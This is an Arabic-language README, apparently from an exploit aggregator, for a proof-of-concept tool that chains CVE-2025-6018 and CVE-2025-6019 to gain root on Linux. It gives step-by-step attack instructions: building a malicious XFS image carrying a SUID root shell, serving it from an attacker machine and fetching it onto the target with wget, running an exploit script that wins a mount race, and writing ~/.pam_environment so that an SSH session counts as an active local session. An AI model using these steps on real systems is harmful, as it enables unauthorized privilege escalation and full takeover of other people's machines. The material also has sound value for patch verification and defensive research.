## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MICHAELVENTURELLA-CVE-2025-6018-6019-POC
# CVE-2025-6018 وCVE-2025-6019: إثبات مفهوم (PoC) لتصعيد الامتيازات محليًا
إثبات مفهوم قوي (PoC) لربط **CVE-2025-6018** (تجاوز الجلسة النشطة في PAM/Polkit) و**CVE-2025-6019** (ثغرة تركيب SUID في libblockdev) لتحقيق **وصول الجذر** على أنظمة Linux المتأثرة.
## إخلاء مسؤولية
هذه الأداة **لأغراض تعليمية وأبحاث أمنية مصرّح بها فقط**. لا تستخدمها على أنظمة لا تمتلكها أو ليس لديك إذن صريح لاختبارها.
* * *
## سلسلة الثغرات
يستغل هذا الإكسبلويت ثغرتين منطقيتين لتصعيد الامتيازات من مستخدم عادي إلى الجذر:
1. **CVE-2025-6018 (نقطة الدخول):** خطأ في إعداد PAM/Polkit يسمح لجلسات SSH البعيدة بأن يتم وضع علامة `Active=yes` عليها. هذا الخداع يقنع النظام بأن المستخدم البعيد متواجد فعليًا أمام وحدة التحكم، متجاوزًا متطلبات كلمة المرور لأدوات إدارة الأجهزة مثل `udisks2`.
2. **CVE-2025-6019 (السلاح):** مكتبة `libblockdev` (التي يستخدمها `udisks2`) تفشل في تطبيق علامة الأمان `nosuid` عند تركيب نظام ملفات مؤقتًا لعمليات الصيانة (مثل `Check` أو `Resize`).
### سلسلة القتل
1. **التحضير:** ننشئ صورة XFS خبيثة تحتوي على صدفة SUID جذر ثابتة.
2. **التجاوز:** نعتمد على حالة الجلسة `Active=yes` لتركيب هذه الصورة كجهاز loop بدون كلمة مرور.
3. **التحفيز:** نستدعي D-Bus إلى `Filesystem.Check`. هذا يجبر `udisks2` على تركيب الصورة مؤقتًا للتحقق منها. **الأهم من ذلك، أن هذا التركيب المؤقت يفتقر إلى`nosuid`.**
4. **سباق التوقيت (Race Condition):** برنامج C مُجمّع (يُدعى "القناص") يراقب `/proc/mounts` في الوقت الفعلي. في اللحظة التي يظهر فيها التركيب المؤقت، ينفّذ حمولة SUID قبل أن يقوم النظام بإلغاء تركيبه.
* * *
## الاستخدام
### المرحلة 1: التحضير (جهاز المهاجم)
نظرًا لأن الجهاز المستهدف غالبًا ما يفتقر إلى أدوات مثل `mkfs.xfs` أو `gcc`، نقوم بإنشاء الحمولة محليًا.
1. **شغّل سكربت البناء على Kali/Parrot:**
root@kitploit:~
./build_poc.sh
* ينشئ `exploit.img` (صورة XFS بحجم 400MB مع صدفة SUID).
* يترجم `catcher` (البرنامج الفائز في سباق التوقيت).
2. **ارفع الملفات إلى الجهاز المستهدف:** شغّل خادم Python:
root@kitploit:~
python3 -m http.server 80
على الجهاز المستهدف (على سبيل المثال، في `/tmp`):
root@kitploit:~
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
### المرحلة 2: الاستغلال (الجهاز المستهدف)
1. **نزّل سكربت الاستغلال:** احفظ محتوى `exploit.sh` من هذا المستودع إلى الجهاز المستهدف.
2. **شغّل الاستغلال:**
root@kitploit:~
chmod +x exploit.sh
./exploit.sh
3. **استمتع بصلاحيات الجذر:** سيقوم السكربت تلقائيًا بإعداد جهاز loop، وتشغيل الـ `catcher` في الخلفية، وتحفيز الثغرة. يجب أن تحصل على صدفة جذر فورًا.
* * *
## استكشاف الأخطاء وإصلاحها
### "مصادقة مطلوبة لإعداد جهاز loop"
إذا طلب السكربت كلمة مرور، فجلسة SSH الخاصة بك **ليست** نشطة. **الإصلاح:**
1. أنشئ `~/.pam_environment`:
root@kitploit:~
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
2. **سجّل الخروج ثم سجّل الدخول مرة أخرى.**
3. تحقق باستخدام `loginctl show-session $XDG_SESSION_ID | grep Active`. يجب أن تُظهر `Active=yes`.
### "فشل سباق التوقيت / لا توجد صدفة"
نافذة الثغرة تستغرق ميلي ثانية فقط.
* تأكد من أنك تستخدم **مُجمّع C catcher** (مضمّن في `build_poc.sh`)، وليس حلقة Bash.
* يستخدم السكربت طريقة `Filesystem.Check`، وهي أكثر موثوقية من `Resize`.
* * *
## قائمة الملفات
### `build_poc.sh` (جانب المهاجم)
يعمل على أتمتة إنشاء الصورة الخبيثة ويترجم الثنائيات الثابتة.
### `exploit.sh` (جانب الهدف)
هو المنسّق. يتولى:
1. التحقق من الجلسة النشطة.
2. تشغيل `catcher` في الخلفية.
3. إعداد جهاز loop عبر `udisksctl`.
4. تحفيز استدعاء D-Bus `Filesystem.Check`.
* * *
## الاعتمادات
* **الاكتشاف الأصلي:** فريق أبحاث Qualys (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/